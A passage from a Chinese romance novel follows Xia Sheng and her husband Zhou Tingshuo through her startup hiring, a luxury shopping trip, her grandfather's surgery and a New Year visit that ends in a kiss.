“想听听我的意见吗,仅供参考。” 她点头:“可以啊。” 因为她们是初创公司,规模小,也不知名,加上薪资待遇也是平均水平,很难收到特别亮眼的简历,甚至大部分人都是刚毕业的大学生,或者仅有一两年的工作新人。 所以人的本质,比外在的标签和工作经历更重要。 “踏实,谨慎,内核稳定,拥有这几种品质的人,适合长线聘用的文职工作。” “个性明显,善沟通,创作欲高,这类人适合更加灵活的对外业务。” 他并没过分关注简历,随口举个例子。 “像刚刚那位赵文宾,这两种倒也都不符合,但我猜他很需要这份工作。” “通常这样的人,工作最积极认真,也不妨聘来一试。” 还有一些细节性的建议,他提得也都很有实用性。 一番话给了夏声新角度,她重新梳理下刚刚面试的过程,心里大概有了方向。 晚上,夏声一鼓作气,横向纵向比对下午的应聘人员,很快敲定录取人选。 长舒一口气,夏声看到学校寝室群又热闹起来。 原来是catti二笔成绩出来了。 【赵茹:果然二笔会给每一个裸考的人一记重创。】 【沈习诗:谢邀,已被创飞。】 【沈习诗:我两科加一起还没有人家一科分高,什么地狱笑话。】 【赵茹:声声怎么不说话,闷声干大事是吧?】 【赵茹:@夏声你怎么样,是不是过了?!】 最近忙,夏声把这事忘了,这会才匆忙登陆网站,成绩出来那刻,她抿着笑看了好一会。 【夏声:刚查完,算是过了吧,运气好 。】 周庭朔恰好出来接水吃药,看到她对着电脑聊得开心,不由多绕两步过去。 “什么事,这么高兴。” “我考试过了呗,上次你还问我是不是考得不好。”夏声眉梢间有些小得意,“我考得超好。” 周庭朔余光看到成绩页面,两科都在七十分以上,确实是很好的分数。 似乎被她的情绪感染,他微笑点头:“恭喜,很厉害。” 他脖子上的红点还在,说话间手指不自觉就会去碰。 夏声留意到,想起下午医生开的药:“那个外用止痒的药你用了吗?” 看他的反应就知道没有,她关掉电脑起身。 “算了,我帮你涂吧。” 说这句话时,她只关注到他脖子上的疹子,忘了过敏可是全身性的。 要帮涂,自然要帮全身。 第32章 第32章燥动 药品说明摊开放在茶几上。 软管内的药是透明凝胶状,挤在手上是冰冰凉凉的触感,很舒服。 夏声坐在周庭朔旁边,将药点在指尖,再对准一颗颗红疹均匀涂开。 脖子上的很快涂完,有一小片红在衣领下方,半遮半掩的夏声不好下手。 她指指那:“你要不把扣子解开点,涂不到。” 周庭朔依言解开一颗,但再往下还有红疹,索性他一口气将扣子全部解开。 夏声缓慢地咽一小下口水,告诉自己现在是做正经事,一定要淡定。 哪有红疹她涂哪就是了。 然而她不知道,手上的凝胶清凉,她的吐息却温热,忽远忽近地落在他身前各处,像是四处撩拨的猫爪,还不得任何章法。 周庭朔坐得挺直,略微抬着下巴,视线却低低垂下,自上而下看着她精致的鼻尖,以及时张时抿的唇瓣。 那猫爪越落越下,直到腰间,见她还没有停手的意思,周庭朔抓住她的手腕。 夏声动作一顿,这才反应过来。 脸瞬间红了一度,她赶紧坐直身体,手指指他背后。 “你转过去,我帮你涂后面,剩下的你可以自己弄。” 其实除了后背,别的地方他都能自己涂,只不过有人自告奋勇帮忙,周庭朔自愿配合。 背上的情况好一些,零星几处红点,很快涂完。 夏声结束,把药膏递给他:“可以了,剩下的你回房间涂吧。” 明明开始的时候做好心理建设,但忙活完,她手心还是有些濡湿。 周庭朔无声穿好衣服,脸不红气不喘,十分淡定地道谢,然后起身回房。 坐在沙发上,夏声按住胸口不安分的心。 深深吸了几口气,自我教育起来。 “人家一副堂堂正正的样子,倒是你,跳个什么劲。” “而且他是个病人,不可以燥动,不可以胡思乱想!” 几秒后,身后响起另一个声音,语调平直正经,异常清晰。 “你要是想,没什么不行。”还非要补充一句,“这点症状,不影响。” 夏声脖子像上了锈的发条,僵硬地转过头,看见去而复返的周庭朔,笑都笑不出来。 怎么他这么会对号入座。 “我没想,不是,你快去擦药,我那是自说自话,跟你没关系。” 他缓慢转动瞳仁,问:“与我无关,那你是对其他人燥动?” 这人总有办法堵她退路,夏声干脆什么都不认。 “你听错了,我刚刚是说考得太好,自己有点激动,没其他意思。” 总算把人糊弄走,夏声收拾东西去客卫洗澡,今天她照例准备睡客卧。 因为周庭朔对福宝“暂时”过敏,今天一整天小家伙都待在卧室,可能有些不满。 客卧门刚一开,它顺着门缝就跑出来。 沙发窗台柜面,上窜下跳让它好一阵撒欢,夏声叉着腰站在一旁,等它放电结束再抓它归案。 大概是它动静太大,周庭朔从房间出来。 夏声回头冲他摆手:“快回去,一会我就抓它进去,你不用管,睡你的。” 几句话,他似乎品出什么。 “你还要自己睡?” 当晚,她的计划落空,客卧睡的只有福宝。 第二天清早,另一边床早早空了,周庭朔休假结束,作息立刻回归正常。 像调时精准的人工智能。 夏声今天要去接夏国理,周庭朔回国后就跟她一起商定,让爷爷来京市做手术,顺便在这边过年。 时间还来得及,她躺在床上,看到一个新的群提示。 是周仪娇拉的三人小群,取名三花聚顶。 【安真:好妹妹,咱这是什么赌王群吗?】 【周仪娇:呜,我实在想不出好名字,要不你改一个?】 【安真:挺好的,没准哪天我一举中一个亿,就不用工作了。】 【夏声:到时候分我一半,谢谢。】 她扔下手机去洗漱,吃饭的功夫,又扫了眼消息。 【安真:@周仪娇看见你嫂子没,贪得无厌,你哥没给她零花钱是怎么的?】 【周仪娇:那我得问问。】 夏声没再回,专心吃早饭。 徐姐煲得海鲜粥很香,她喝到第二碗,手机响起来,看了眼是周庭朔。 “怎么了,忘带东西了?” “不是。” 他已经到公司,秘书刚好进来送咖啡。 “你下午接到爷爷,顺便去逛逛,看看有什么需要买的。” “或者你自己想买什么,衣服包都行。” 没头没尾地让她买东西去,夏声奇怪:“我也没什么想买的啊。” “没有就现去看,用我给你那张卡。” 他打开电脑查收邮件,顺便示意助理把文件放下。 为避免她又听过就算,还特意强调。 “那张卡再不动账,会被冻结,今天必须有消费记录,你就当帮忙。” 毕竟上次她买车,让她用他的卡,她也没用。 看着挂断的电话,夏声一头雾水,什么黑卡不消费会被冻结? 她突然想起群里的聊天记录。 【夏声:@周仪娇你真去问你哥了?】 【安真:看你这反应,多半是,怎么你家听说哥有啥反应?】 【夏声:大清早一睁眼就接到花钱任务,不像是真的,可能还在做梦。】 被秀了一脸的安真,发个鄙视的表情,决定中一亿坚决不分她一半。 两人贫半天,才发现另一位又不说话了。 这边,周仪娇看着备注为“惹不起人士”发来的消息,欲哭无泪。 【下午陪你嫂子去花钱,记住,花不到七位数,下个月你零花钱减半。】 她何苦多嘴问! 去接夏国理前,周仪娇已经赶到碧水华汀,还带着个小帮手。 刚结束冬令营的周灵熙许久没见夏声,听说她要来,一定要跟着。 出门接人的夏声,直接一带二。 老爷子一下飞机就见到两个周家人,周仪娇嘴甜,周灵熙听话,全会哄老人开心。 夏声本想让爷爷住家里,但他第二天一早就要入院,还要做很多术前检查。 首都总医离碧水华汀还是有些远,周庭朔找人将那附近一套房子收拾出来,让老爷子住。 “爷爷,今天我们先住医院附近,明天再去办住院,你也能歇一天。” 夏国理都由他们安排,坐在后座跟周灵熙说话。 “现在几年级,学习累不累?” “不累。”周灵熙坐得端正,一看就是好学生模样。 当一辈子教师的夏国理就喜欢这样的孩子,生生夸了一路。 房子就在医院旁边,过个路口就到,三百多平上下两层的复式,收拾得干净整洁。 提前安排的阿姨是周家常用的老人,周仪娇都熟识。 她特意跟夏国理介绍:“孙姐人特别细心,您有什么事都可以找她,别怕麻烦。” 安顿好夏国理,周仪娇没忘自己的任务,拉着夏声准备出门。 正好周灵熙跟夏国理玩起来五子棋,一老一少还挺认真,谁也没空理她们。 京市最大的奢侈品商场就在附近,周仪娇是常客,带着夏声直奔主题。 就找最贵的几家。 店里的SA认得面孔,把最新款都拿出来给周仪娇挑,凡是小件货一律被她pass掉。 奢侈品店的SA都是人精,一会就看出门道,很快把店里的高货全摆出来。 夏声对这些没概念,她自己的包大多网购的,百十块钱能背好几年。 不懂这些奢侈品溢价这么高,到底好在哪。 “还是算了吧,我觉得不值。” 进到这里的人,就算觉得贵,大多不会直接明说,像夏声这样的少有。 周仪娇拿起一只Birkin问SA:“稀有色现在有哪几种?” 一般这种都没有现货,SA拿起pad调出图片给她们看。 这样的,一只包连带配货就够目标价格了,省得再费心思买别的。 周仪娇问夏声:“你看这几只你喜欢哪个颜色,我们要一个经典色一个稀有色就差不多了。” 夏声有一搭没一搭地翻看,问:“一定要选?” “选,以后你也是夏总呢,背点好包必要的。” 最后她选个清新的薄荷绿,和经典的大象灰,拿卡结账的时候,SA特意加了她的联系方式,留下地址,过后会送货上门。 晚上夏声留在这边陪夏国理,周仪娇带着周灵熙回去,路上就给她哥发去任务完成的信息。 本以为美滋滋交差,点开回信,傻眼。 【惹不起人士:以后每月你都陪她去逛逛,消费标准只高不低。】 【周仪娇:?】 【惹不起人士:花出去多少,你零花钱加多少。】 【周仪娇:保证超额完成任务!】 周庭朔傍晚得空,打来电话。 问候过夏国理,才跟夏声说上话。 “今晚我要忙得晚一点,就不过去,免得打扰爷爷休息。” “明天一早我去接你们一起去医院。” 其实就在门口,走过去不过几分钟,夏声推说不用,他坚持。 “爷爷入院,我不露面不合适。” 挂断电话前,夏声想起应该告诉他一声。 “你交代的事办完了,买了两只包,真是贵得我肉疼。” 对面语气平静:“卡里的钱不花也没有别的用处,买得多了就不觉得贵了。” 夏声:…… 这话真是壕无人性。 晚上,夏声陪夏国理听新闻,老爷子这些年伏案工作,肩颈也不好,她正好给他捏肩松解。 “声声啊,爷爷给你包里放了张存折,密码是你的生日。” “万一这次手术,真有什么意外,也算爷爷留给你的一点私房钱。” 夏声听得皱眉,硬着嗓子回他。 “爷爷你说什么呢,能有什么意外,别瞎想。” “我不要你的钱,我有钱。” 夏国理拍拍肩膀上的手,将她拉到身前。 “爷爷知道你不缺钱,林家有钱,周家也不会缺你的,但总归都不是爷爷给的。” “这些年,爷爷始终觉得亏欠你,虽然你从来不说,但爷爷怎么可能不知道你委屈。” “小时候放学,别人父母是开车去接,你只能坐在爷爷的自行车后座,你眼神羡慕的,爷爷都看在眼里。” 夏声鼻头发酸,用力眨眼睛。 “我不爱坐汽车,就喜欢自行车,还能兜风。” 老人抬手摸摸她的脸,眯着眼笑。 “傻孩子,爷爷当然知道,你不是羡慕别人坐汽车,你是羡慕别人有爸爸妈妈接。” 这些年夏声一直表现的乐天知足,可夏国理的话却像龙卷风过境,将她的所有粉饰摧毁地干干净净。 她终于忍不住,伏在老人膝上痛哭。 “爷爷,我谁也不羡慕,我谁也不要。” “我只想你好好的,我只有你一个亲人了。” 第33章 第33章秘密 首都总医总是人满为患。 世人无论贫穷富有,总逃不过生老病死,在这里,也算另一种众生平等。 周庭朔将一切都安排好,夏国理入院就先见了于教授,隔天的手术也由他亲自操刀。 老教授人很和蔼:“不用担心,我们这里每天都要做十几台这类手术,预后良好几天就能出院。” 见面之后,夏声陪着夏国理去做检查,周庭朔独自跟于教授聊了会。 等他们回来时,他正好带着护工进来。 “这几天就让护工照顾您的起居,有什么需要的都可以跟她说。” 他还有工作要忙,夏国理也不留他。 “让你费心了,安排的这么周到。” 夏声送他出门,司机已经等在医院门口,她站在台阶上目送,周庭朔踏出两步又转身回来。 “别太担心,手术那天我来陪你,一切有我。” 她扯出笑:“嗯,不担心。”想起他还是带病工作,叮嘱一句,“嗓子刚好,记得多喝水,还有外涂的药你记得上。” 外面风大,她没穿外套,周庭朔点头,示意她放心。 “嗯,快回去吧。” 这几天夏声脱不开身,公司的事只能都交给秦莫。 好在她稳妥靠谱,样样做得有条不紊,还打来电话问候她爷爷情况,让她不必分心那边。 薛宁玉每天安排人来送餐,都是家里保姆做好的,荤素搭配还要适合病人。 本来她一早想来探望,但这两天周家老爷子哮喘犯了,也走不开人。 手术那天,周庭朔提前推掉所有工作,早早来陪着。 术前要告知注意事项,值床医生将手术风险说完,护士递来一摞需要签字的单子。 抢救同意书,风险告知书,紧急联系人确认书…… 夏声握着笔,一笔一画地写,签到最后一张,过分用力的笔尖在纸面戳出一块浓黑的墨点。 护士将文件收走,她转头深吸一口气,调整表情。 周庭朔一直陪着夏国理说话,老爷子到底年纪大些,见得多也不害怕,还反过来跟夏声开玩笑。 “瞧瞧这孩子,当年高考都没见她这么紧张,皱着张脸。” “我哪有。”夏声辩解,对上周庭朔沉着的目光,心稍稍落定。 手术安排在上午第一台,全程预计三小时,夏声一刻坐不下,在走廊里踱步。 每隔几分钟,就要抬头看看手术灯灭了没,焦虑不安全都写在脸上。 周庭朔靠站在一旁,只是静静陪着她,此时说什么宽解的话都没用,她担心是必然。 手术中途,于教授从里面出来,周庭朔先上前。 “手术很成功,助手正在缝合,一会病人就会推出来。” 他指下托盘里的组织:“这是切下来的肿瘤,等做完病理分析,就可以定后续方案,大概率是良性,放心。” 这下,夏声终于松口气,退下两步扶着墙边站定,没敢再看那托盘里的东西。 周庭朔站到她身边,握了握她的手:“没事了。” 手术后,夏国理还没完全苏醒,照看护理有护工在,周庭朔将夏声安顿在沙发休息。 “等爷爷醒了你还要陪着,趁这会歇歇,你精神太紧绷,耗神。” 夏声歇不下,但也跟他道声谢谢。 “这次多亏你帮忙联系于教授。” “你我之间,不必道谢。”说话间,他的手机屏幕亮起来。 到医院,他自觉将电话调到静音,这会看了眼来电人,没理。 对方锲而不舍,又打来。 夏声劝他:“也许他有急事呢,你去接吧。” 周庭朔略一点头,转身去走廊接通。 电话那头,祁家骏正在开车,发动机的嗡鸣透过听筒都清晰可闻。 “周庭朔,出来陪我喝酒。” 医院走廊上的电子表显示,此刻是中午十二点二十。 “现在是白天。” “白天怎么了?”好像路上有人按他喇叭,祁家骏在那边咒骂一句,又问,“你到底来不来?” 毫无耐性的语气,听得出心情不好。 身后病房里,护士正进去换药,周庭朔瞥一眼,收回视线。 “你先把车停路边,地址发我。” 祁家骏心情不好时有坏习惯,喜欢飙车,他自己组了个车队,玩票一样,被家里骂了几回硬是不散。 医院这边,周庭朔暂时还走不开。 挂断电话,他给任珩和卓冕分别发消息,让他们过去看看。 【看好他,别闹出事。】 夏国理半个多小时后醒来,老人状态很好,但暂时还不能进食。 夏声捏着棉签沾水,给他润唇。 “好了,这下身体里的定时炸弹摘了,我可得再多活十年。” 有力气说笑,神志也清楚,夏声终于放心,脸上表情也渐柔和。 见周庭朔一直静立在旁边,知道刚刚那通电话肯定有事。 “你去忙吧,这里我跟护工在,没什么事。” 护士正在给病人测体温,顺便纪录监测仪数据,夏国理眼神指指门外。 “真要有事这的大夫护士比你都急,你快忙你的去吧,在这还耽误我们爷孙俩说悄悄话。” 卓冕刚刚回信息,他今天早上出差,现在刚好不在京市。 任珩倒是去了,但他只怕劝不动祁家骏。 周庭朔权衡一番,决定去看看:“我出去一趟,晚点回来。” 今天来医院,本就是他自己开的车,顺着刚刚任珩发的新定位,一路开到会所。 进到包间,果然一桌都是酒瓶,七七八八各种酒都集齐了。 祁家骏手肘撑在膝上,抬头瞥他一眼,咧嘴拍拍身边的位置。 “算你有良心,快坐,陪我不醉不归。” 旁边的任珩递给周庭朔一个眼神,微微摇头,表示有人要发疯实在拉不住。 * 医院里,夏国理醒了一会,又睡过去,手术毕竟伤元气。 夏声靠坐在沙发上,点开手机信息。 知道她今天在医院陪护,安真特地问问手术情况,夏声告诉她一切顺利,对方就没再回。 实在反常,她平时可是个话痨。 两个小时后,夏声收到周庭朔的信息,说自己还要晚点过来。 顺便还问了她,安真的联系方式。 想了想,夏声打过去电话。 这边,祁家骏捏着一支烟,垂眉丧眼,周庭朔将包间里的酒全部撤出去,他暂时没得喝。 感情的事,是周庭朔的盲区,他不会劝只能拦。 至少保证人还清醒,其余只能交由本人自己解决。 桌上的手机亮起,是夏声的电话,他瞥了眼旁边,转身接起来。 几分钟后,夏声让他把电话给祁家骏。 包间里没有放音乐,显得尤为安静,夏声的声音从听筒里隐约传来。 祁家骏拿着手机,沉默听着,大概过了几分钟,他才回一句话。 “好,我知道了,谢谢。” “如果她联系你……算了。” 电话挂断,他将手机还给周庭朔,将烟掐灭扔掉,眼神撇撇门口。 “走吧,回了。” 任珩瞪着眼睛,用口型做了个“哇”的感叹。 他嘴皮子磨破,劝了几个小时,又加上周庭朔在这镇场子,都没说服这家伙。 夏声几句话,人就想通了。 因为喝了酒,周庭朔叫代驾送人回去。 车走后,任珩忍不住,凑到周庭朔旁边打听。 “朔哥,嫂子到底说什么了,这么管用。” 周庭朔抬手看眼腕表时间:“不清楚。” 其实他也有些想知道,于是晚上趁着夏国理休息,两人出来散步时随口问过她。 昏黄的路灯下,夏声背着手略有神秘地笑笑:“这是秘密。” “不过你可以用你的一个秘密换。” 医院门口刚好有个卖烤红薯的小摊,甜糯的味道老远飘来,夏声有意无意地向那看。 他眼神留意到,过去买了一只,递给她:“用这个换怎么样?” 烤红薯热乎乎,刚好可以用来暖手。 夏声接过来,睨他一眼:“奸商,说好用一个秘密换,你用烤红薯就打发我?” “我没什么秘密。” 她自然不信,于是主动来问。 “那你就说说,你上学时的事?” “有女孩子追你吗?” 学生时代,在他的印象里,除了读书,就是和几个同学打球,其他方面他概不留心。 “追?没有。” 这回答存疑。 几天后,周仪娇陪着薛宁玉来探望夏国理时,夏声特意跟她验证。 薛女士陪着老人家说话,周仪娇将夏声拉远些,靠在她耳边毫不留情地戳穿她哥的假话。 “算了吧,以前追他的姑娘,迂回战术都打到我这了。” “平安夜圣诞节,我替他收的苹果巧克力,都够出门摆摊的。” 不过想想她哥当年那张冰块脸,对哪个姑娘都懒得多看一眼,她又能理解。 “也许,他真的认为没人追他。” “就他那个大直男,本来我都怕他会孤独终老,幸好嫂子你把他拿下了。” 拿下? 这事,夏声更加存疑。 周庭朔对她不差,这不可否认。 但就像他所说,她是他法律上的妻子,两人之间有权利有义务。 他对她的照顾和关心,可以出于责任,出于礼貌,出于个人修养,却不能说出于感情。 不过,这也说不上不好。 * 夏国理赶在农历新年的前两天出院,他每天还要返院换药,所以仍住在医院附近的房子。 过年夏声自然不会让他自己在这,周家邀请他们过去一起,但夏声怕老人觉得拘束,还是不方便,就婉拒了。 爷孙俩独自在这筹备些年货,又把福宝接来,一家三口也算热闹。 新婚第一年,按理说她应该去周家过年。 她私下同周庭朔提起,他只让她宽心。 “没有这些规矩,家里那边我去说,你只需安心陪爷爷。” 春节当天,一早她随周庭朔去西苑,将新年礼物送到,略坐一会就准备告辞。 薛宁玉让周庭朔出来送她。 她自己开车来的,上车前突然顿住脚步,回头看他。 明明再过一天还能见面。 她一弯眼:“那我就提前祝你,新春愉快。” 本想他也会说点什么,可他只是略一点头,为她打开车门。 “嗯,路上注意安全。” 心底一角,泛出艰涩味道。 但她还是故作轻松,独自开车回去。 家里虽然只有两个人,但年夜饭并不简略。 阿姨给他们做好一桌子菜,入夜才下班离开,晚上夏声自己慢悠悠地包一帘饺子,只等午夜前煮上。 爷孙俩守在电视前,联欢会虽然无聊,当个聊天的背景音也不错。 福宝穿着新买的红色毛绒马甲,神气地到处巡视。 四处看过,又回到夏声腿边盘成毛球。 手机群里,各个都热闹,寝室群里在发红包互抢。 公司新建的群聊,已经有五个人,大家彼此还半生不熟,发着客套的新春祝福。 就连三花聚顶群都在表情包互斗。 唯独置顶的对话框,一直安静如初。 夏声手机关了又开,不知道在等什么。 熬到快十一点,夏国理眼已经半合上,老人熬不动夜,夏声提前将饺子下锅,哄着爷爷吃了几个,讨过彩就送他先去睡。 客厅只剩她和福宝,夜猫子晚上倒精神,眼睛瞪得又大又圆,围着她脚边打转。 将饭菜收拾完,也快到零点,夏声抱起福宝站在窗前,看着外面四起的绚丽烟火,等电视里的倒计时。 主持人说起最后串词,倒数还有十秒。 身后却突然传来敲门声,一下接一下,有些急促。 夏声疑惑,抱着猫去门前,就听门外有人叫她的名字。 “夏声,是我。” 下一秒,门被打开,周庭朔孑然立于门外。 客厅里,零点的钟声恰好敲响。 窗外爆竹声热闹,炸开的烟花映在他沉墨般的眼眸中。 他弯唇:“时间刚好,新春快乐。” 第34章 第34章先欠着……后面再还 “你怎么来了?” 夏声语调上扬,又惊喜又意外,眼睛大大睁着,跟怀里的福 宝一样。 猫咪探出头,毛茸茸的耳朵抖一抖,随着她喵喵叫两声。 一猫一人,对他的到来表示欢迎。 周庭朔走进去,福宝跳下地扬着尾巴跟在他后面。 客厅桌上摆着干果盘,水果,还有一杯腾着热气的茶,夏声将桌上零零散散的果壳收拾起来,给他也倒了一杯。 他接过,问:“爷爷已经睡了?” “嗯,半个小时前就上去了。” 夏声看眼躺在地上卖萌的福宝,小猫咪正滚来滚去,爪子伸出来够她的拖鞋。 “你这么晚出来,爸妈知道吗?” “不知道,他们睡得早。” 周家每年都如此,所谓过年,不过是一大家人围在桌前,吃一餐规规矩矩的饭,几个叔叔家的人也会来,显得热闹些。 席后闲聊的话题大都是世家关系,公司经营。 长辈对晚辈输送些经年的观点,再问问工作学业。 等老人觉得困乏,便各自散去,小辈们如果有安排,自己再去寻乐子。 今年,难得的是周庭昀肯回家,自从出事后,他一直独自呆在疗养院。 “你是说大哥回来了?”夏声剥着瓜子,面前已经有一个瓜子仁堆成的小山。 周庭朔抿口茶,电视上播放着春晚的重播,红火的群舞节目,又唱又跳有些吵闹。 “嗯。” “那太好了,过年一家人团团圆圆,多温馨。” 桌下福宝一直探头探脑,爪子伸出来,想要拨弄桌上的瓜子仁,被夏声拍拍脑袋赶走。 小猫咪不死心,转到他这边,又扒到桌边看。 周庭朔看着长腿中间钻出的毛绒脑袋,不觉撤开些,给它腾出位置。 夏声拍拍手,将它从他身前抱走,团在怀里揉揉它的脑袋。 “你这个小馋猫,什么都想瞧瞧尝尝。”逗猫咪的语调宠溺。 她抿着笑,手里捡上几颗瓜子仁,纵容它去闻。 “看,没什么好吃的吧。” 灯光下她的侧脸柔和,长长的睫毛低垂,鬓发别在耳后,小巧的耳垂上,是一颗红色的樱桃耳钉,随着她说话会微微颤动。 小猫咪失望地舔舔鼻子,逗得她乐出声。 周庭朔坐在旁边,安静地看着,背景里是电视节目中的欢声笑语和窗外零星的爆竹声。 夏声所说的“团圆,温馨”,这一刻在他眼中开始具象化。 两人就这样坐在沙发,有一搭没一搭地闲聊,直到福宝都开始犯困,跑回猫窝睡觉。 外面的热闹也渐渐落幕,夏声问他要不要去休息。 “一楼的房间都收拾过,床单也是新换的,你去睡会吗?” 周庭朔并不困,手里摆弄着手机:“不急,我有东西给你。” 他来时匆匆忙忙,夏声没见他带什么东西,打量他周身,也不像能藏。 直到桌上她的手机亮起一条新消息,他眼神示意。 “点开看看。” 神神秘秘,夏声盯着他,摸过手机解锁。 对话框里是一个网络链接,她顺手点开,跳转到一个页面。 纯白主页上方是水绿色的图文,正中标题写着“夏声流浪动物暖心基金”。 下面一应公示着流浪动物相关的公益项目,救助方式,钱款去向等。 她眨着眼,缓慢而又仔细地从头看下来,还是不太明白。 “这是……” “送你的新春礼物。” 夏声喜欢小动物,他很早就知道。 将福宝接回家后,她不止一次念叨过,学校里其实还有很多小流浪,但她精力有限,只能救助它这一只。 这份遗憾,不仅因为小动物可爱,更源于她柔软的内心,和丰沛的情感。 “我以你的名义,委托专门机构成立这个基金,以后会有专业人士经营运转,那些流浪的小动物,会在你的爱心之下,有更好的归宿。” 远处的福宝,在它柔软的猫窝里睡得翻出肚皮,夏声视线转回来,眼中蒙上雾气。 唇边的笑意漫开,她发自内心地惊喜与开心。 “我替‘福宝’们谢谢你!这份礼物太有意义了。” “所以,喜欢吗?” “当然。”她又点开页面,细细看过。 很快,又像想起什么,蓦地抬头。 “可我没准备你的。” 过年,她给长辈准备礼物,晚辈准备红包,唯独没想过他,她以为他们彼此都是成年人,应该不用的。 周庭朔送来的礼物不是普普通通,花钱就买,而是切实花费心思准备的,夏声心里不免有些愧疚。 “要不,过两天我补给你?” 她微微咬着唇,秀气的眉峰轻轻压下,眉头蹙起,似乎在苦恼到时应该回馈什么样的礼物,才不显得敷衍。 周庭朔转身,手指抚上她的眉心。 “不用补,现在给就行。” “现在?”她闻言抬头,眉心被他指腹展平,眼中有些迷茫。 “现在你有什么想要的吗?” 她的唇瓣刚被牙齿咬过,透出嫩红,一开一合像是引人采颉的浆果,周庭朔呼吸一顿,俯下身来。 “有。” 这句回答含混在相触的唇瓣间,她的唇甜而软,让他忍不住想深尝。 他这么想,也是这么做的。 唇齿被撬开,他的舌毫不费力地探进,吮吸着她的。 夏声屏着一口气,被他吻得手脚发软脊背发木,耳边是凌乱的呼吸声,有她的也有他的。 似乎获得的还远远不够,周庭朔轻抬她的下颌,手指顺着她的脖颈转到她脑后,抵着她迎上他更加肆无忌惮地掠夺。 她被吻得太狠,舌根又酸又麻,身体完全失去力气,只能伸手撑在身后。 那边,睡得迷糊的福宝发出一声哼唧,夏声警惕地推他一下,略微撤开些,看眼远处。 憨猫翻个身,眼都没睁开过。 夏声的脸已红透,视线回到他散开一颗扣子的衬衫领口,思绪更乱。 下一秒,周庭朔俯身屈膝,双臂穿过她身后,将她横抱起来。 “你干嘛?”骤然失重,夏声不得不攀上他的脖子。 “你不是说一楼房间还空着?” 他脚步不停,向房间方向走去。 夏声瞟眼楼梯,压低声音:“可爷爷还在呢。” “爷爷不是在楼上?” 话虽如此,但夏声一想到家里还有爷爷在,整个人都紧张得不行,说什么不肯进房间。 “万一爷爷醒了找我呢,万一他突然下楼呢。” 周庭朔低头,对上她略带企求的眼神,终于缓慢停下。 房间门就在眼前。 “哪有礼物开到一半叫停的?” 夏声抿着唇,为难:“那……先欠着,下次再开,不行吗?” 他轻笑,眉尾因笑意而舒展。 “欠着,可要算利息。” 这个时候还要讨利,果然是精明的商人。 夏声不得不问清楚:“多少利……” “不多,每延期一周,翻倍。” 这简直堪比高|利贷,但这会夏声只能说行。 周庭朔依言放下她,却没放开她。 双手虚虚搭在她后腰,将她抵在门边的墙上。 楼梯就在不远处的对面,从上面转角就能看到他们这里。 夏声越过他肩膀,警惕地盯着楼梯口,手抵在他身前。 似乎觉得她这样格外有趣,周庭朔起了逗弄的心思,低下头又吻上来。 唇被封住,她只能瞪大眼睛盯着,紧张情绪放大感官,胸口的心跳越来越重,震得她发蒙。 “別。”她刚侧过头,又被他捏着下巴转回来。 直到她喉咙里开始呜咽,人也顺着墙壁向下滑,他才缓缓松开她。 这下,需要冷静的是他们两个人了。 周庭朔站窗前平复心情,高楼大厦后的晨昏线已初具轮廓,天要亮了。 “我该走了。”他转身看向夏声。 “这么早?” 周家每年初一早上,有敬茶的规矩。 他到门口换鞋,福宝听到声音,竟然从猫窝爬起来追到门口。 夏声把外套递给他,抱起福宝跟他告别。 握起猫咪的小白爪,冲他招手:“说爸爸再见。” 周庭朔无声看着她,唇角上扬,似乎被这个称呼取悦。 哪怕是成为一只猫的直系亲属。 “我走了,你进去睡会吧。”- 年节转眼过完,夏国理的病理也有了结果,万幸是良性。 后续治疗回锦城做就行,老人离家久了也想,让夏声给他订票回去。 收拾东西时,夏声将那张存折偷偷放回他的行李。 走的那天,周庭朔开车去送。 夏声终究不舍得,拖到不得不值机,才送爷爷进去。 夏国理见她始终压着唇,情绪不高,便开解她。 “爷爷这又跨过一道坎,以后有的是时间跟你见面。” “等你再生个小娃,爷爷还要来教重外孙呢。” 离开机场时,天飘了点雪,零零散散不成片。 夏声打开车窗,看着飘进来的碎雪:“可惜,爷爷没来得及看雪。” 周庭朔余光关注着她,语气轻缓:“还有机会。” 当晚,车子载着夏声和福宝,一起回碧水华汀。 有半个多月没回来住,福宝一进屋就到处闻闻嗅嗅,四处转完确认领地,才开始撒欢。 徐姐许久没见夏声,笑着夸她新年又漂亮了。 “就是过了个年还不长肉。”徐姐手中搅着肉馅,准备一会做肉丸汤。 “先生一会可要督促太太多吃点。” 周庭朔脱下外套,看了眼夏声纤细的背影,她今天穿了一身白色细纹格长裙,收腰设计很显身形。 侧面看过去,腰肢不盈一握。 “嗯,是该多吃。” 夏声正往里走,回头看他一眼。 她从不张罗减肥,对美食也是热情不减,只是她体质如此,就是惹人恨的吃不胖。 “我吃得又不少,而且我虽然瘦,但是很健康,体力也不差。” 这话,当晚就惨遭推翻。 第35章 第35章还债,连本带息…… 夜里,夏声站在衣帽间的落地镜前纠结。 明天是公司年后第一天开工,她还不知道穿什么好。 周庭朔进来时,她正举着一身一字裙套装,和一套浅灰色阔腿西装纠结。 他刚结束运动,拿了睡衣准备去洗澡。 夏声比着两身衣服,问路过的他:“给个意见?” 落地镜很大,能容下他们两人身影,周庭朔站在她身后,比她高近一个头。 他透过镜子看过这两身,给出评价。 “都行。” 夏声刚想吐槽说了白说,他扬扬下颌指向镜子后挂着的白色长裤和黑色牛仔衣。 “你甚至可以穿后面那身。” 那套更是学生气,是她找衣服时顺手挂在那,但他好像理由充分。 “别忘了,这间公司是你创办的,你全额注资,法人上写着你的名字,所以你想怎么做都可以。” “就算你穿着睡衣去上班,也不会有人多言。” “不过,你一定要显得正式得体,建议穿灰色这套。” 他走后,夏声站在镜子前默默半晌。 即使她大学期间做过无数兼职,也与很多公司打过交道,但说到底她还是个刚毕业的学生。 没有入职过任何一家企业,未曾正式出入过职场,更没有领导过其他人。 但他一席话,倒也点醒她。 如果要求稳,当初她就该同意保研,或者出去求个差不多的职位,现在既然选择创业,就该毫无负担地放开。 何况,她现在有这份底气。 选好衣服,夏声悠闲地敷上面膜,之前洗的头发晾了半干,她正好去客卫吹头发。 等都收拾妥当回到主卧,浴室的门刚好打开。 周庭朔抬眼看她一瞬,又安静收回视线。 夏声没在意,但她忘了原本自己穿的是一身里外两件的睡衣。 刚刚因为吹头发热,她随手把外套脱掉,现在只剩里面的吊带裙。 时间也差不多该睡了,夏声绕到窗边,准备合上窗帘。 主卧的落地窗非常大,窗帘从左往右,拉起来有些重量,她抬手的过程,另一边的吊带从肩膀向下滑。 不知道哪里卡住,她拉了两下,窗帘并没动。 身后长臂探过来,在她手上方握住窗帘,略一用力,阻碍解除。 夏声回头,对上周庭朔低垂的视线。 